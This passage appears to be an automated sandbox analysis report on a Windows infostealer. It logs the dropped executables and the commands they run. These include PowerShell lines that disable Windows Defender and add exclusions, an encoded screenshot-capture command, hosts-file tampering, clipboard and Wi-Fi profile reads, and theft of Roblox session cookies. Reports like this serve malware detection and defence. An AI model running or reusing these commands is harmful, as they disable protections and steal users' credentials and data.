Source: C:\Windows\System32\tasklist.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime FROM Win32_Process

Source: C:\Users\user\Desktop\file.exe

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe

File read: C:\Windows\System32\drivers\etc\hosts

Jump to behavior

Source: D1UL0FG.exe, 00000006.00000002.3008113833.00007FF8B8281000.00000040.00000001.01000000.00000012.sdmp	Binary or memory string: UPDATE %Q.sqlite_master SET tbl_name = %Q, name = CASE WHEN type='table' THEN %Q WHEN name LIKE 'sqliteX_autoindex%%' ESCAPE 'X' AND type='index' THEN 'sqlite_autoindex_' \|\| %Q \|\| substr(name,%d+18) ELSE name END WHERE tbl_name=%Q COLLATE nocase AND (type='table' OR type='index' OR type='trigger');
Source: D1UL0FG.exe, D1UL0FG.exe, 00000006.00000002.3008113833.00007FF8B8281000.00000040.00000001.01000000.00000012.sdmp	Binary or memory string: CREATE TABLE %Q.'%q_docsize'(docid INTEGER PRIMARY KEY, size BLOB);
Source: D1UL0FG.exe, D1UL0FG.exe, 00000006.00000002.3008113833.00007FF8B8281000.00000040.00000001.01000000.00000012.sdmp	Binary or memory string: CREATE TABLE IF NOT EXISTS %Q.'%q_stat'(id INTEGER PRIMARY KEY, value BLOB);
Source: D1UL0FG.exe, D1UL0FG.exe, 00000006.00000002.3008113833.00007FF8B8281000.00000040.00000001.01000000.00000012.sdmp	Binary or memory string: CREATE TABLE %Q.'%q_segdir'(level INTEGER,idx INTEGER,start_block INTEGER,leaves_end_block INTEGER,end_block INTEGER,root BLOB,PRIMARY KEY(level, idx));
Source: D1UL0FG.exe, D1UL0FG.exe, 00000006.00000002.3008113833.00007FF8B8281000.00000040.00000001.01000000.00000012.sdmp	Binary or memory string: INSERT INTO %Q.sqlite_master VALUES('index',%Q,%Q,#%d,%Q);
Source: D1UL0FG.exe, D1UL0FG.exe, 00000006.00000002.3008113833.00007FF8B8281000.00000040.00000001.01000000.00000012.sdmp	Binary or memory string: CREATE TABLE %Q.'%q_segments'(blockid INTEGER PRIMARY KEY, block BLOB);
Source: D1UL0FG.exe, 00000006.00000003.2639961783.000001FA2F17F000.00000004.00000020.00020000.00000000.sdmp, 8ZVMneG.exe, 00000054.00000003.2831845470.0000000003B77000.00000004.00000800.00020000.00000000.sdmp, 8ZVMneG.exe, 00000054.00000003.2832160533.0000000003B5B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));
Source: D1UL0FG.exe, D1UL0FG.exe, 00000006.00000002.3008113833.00007FF8B8281000.00000040.00000001.01000000.00000012.sdmp	Binary or memory string: CREATE TABLE "%w"."%w_parent"(nodeno INTEGER PRIMARY KEY,parentnode);

Source: file.exe

ReversingLabs: Detection: 47%

Source: file.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: skotes.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: skotes.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: D1UL0FG.exe	String found in binary or memory: set-addPolicy
Source: D1UL0FG.exe	String found in binary or memory: id-cmc-addExtensions
Source: D1UL0FG.exe	String found in binary or memory: can't send non-None value to a just-started generator
Source: D1UL0FG.exe	String found in binary or memory: --help
Source: D1UL0FG.exe	String found in binary or memory: --help

Source: C:\Users\user\Desktop\file.exe

File read: C:\Users\user\Desktop\file.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\file.exe "C:\Users\user\Desktop\file.exe"
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe "C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe"
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	Process created: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe "C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe"
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe'"
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "attrib +h +s "C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe""
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\ .scr'"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe'
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\attrib.exe attrib +h +s "C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\ .scr'
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tasklist.exe tasklist /FO LIST
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tasklist.exe tasklist /FO LIST
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1017855001\8ZVMneG.exe "C:\Users\user\AppData\Local\Temp\1017855001\8ZVMneG.exe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wbem\WMIC.exe WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName
Source: C:\Users\user\AppData\Local\Temp\1017855001\8ZVMneG.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell Get-Clipboard"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "tree /A /F"
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "netsh wlan show profile"
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "systeminfo"
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters /V DataBasePath"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tree.com tree /A /F
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\systeminfo.exe systeminfo
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Get-Clipboard
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tasklist.exe tasklist /FO LIST
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\netsh.exe netsh wlan show profile
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\reg.exe REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters /V DataBasePath
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "tree /A /F"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIA
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tree.com tree /A /F
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIAB
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "attrib -r C:\Windows\System32\drivers\etc\hosts"
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "tree /A /F"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\attrib.exe attrib -r C:\Windows\System32\drivers\etc\hosts
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tree.com tree /A /F
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "attrib +r C:\Windows\System32\drivers\etc\hosts"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\l2sopuet\l2sopuet.cmdline"
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "getmac"
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "tree /A /F"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tree.com tree /A /F
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\getmac.exe getmac
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\attrib.exe attrib +r C:\Windows\System32\drivers\etc\hosts
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RES2DEF.tmp" "c:\Users\user\AppData\Local\Temp\l2sopuet\CSC2774EC596431493C9BAB8956CFD3669.TMP"
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tasklist.exe tasklist /FO LIST
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "tree /A /F"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tree.com tree /A /F
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "tree /A /F"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1017871001\m9sfEU9.exe "C:\Users\user\AppData\Local\Temp\1017871001\m9sfEU9.exe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tree.com tree /A /F
Source: C:\Users\user\AppData\Local\Temp\1017855001\8ZVMneG.exe	Process created: C:\Users\user\AppData\Local\Temp\1017855001\8ZVMneG.exe "C:\Users\user\AppData\Local\Temp\1017855001\8ZVMneG.exe"
Source: C:\Users\user\AppData\Local\Temp\1017855001\8ZVMneG.exe	Process created: C:\Users\user\AppData\Local\Temp\1017855001\8ZVMneG.exe "C:\Users\user\AppData\Local\Temp\1017855001\8ZVMneG.exe"
Source: C:\Users\user\AppData\Local\Temp\1017871001\m9sfEU9.exe	Process created: C:\Users\Public\Netstat\FuturreApp.exe "C:\Users\Public\Netstat\FuturreApp.exe"
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path HKLM:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
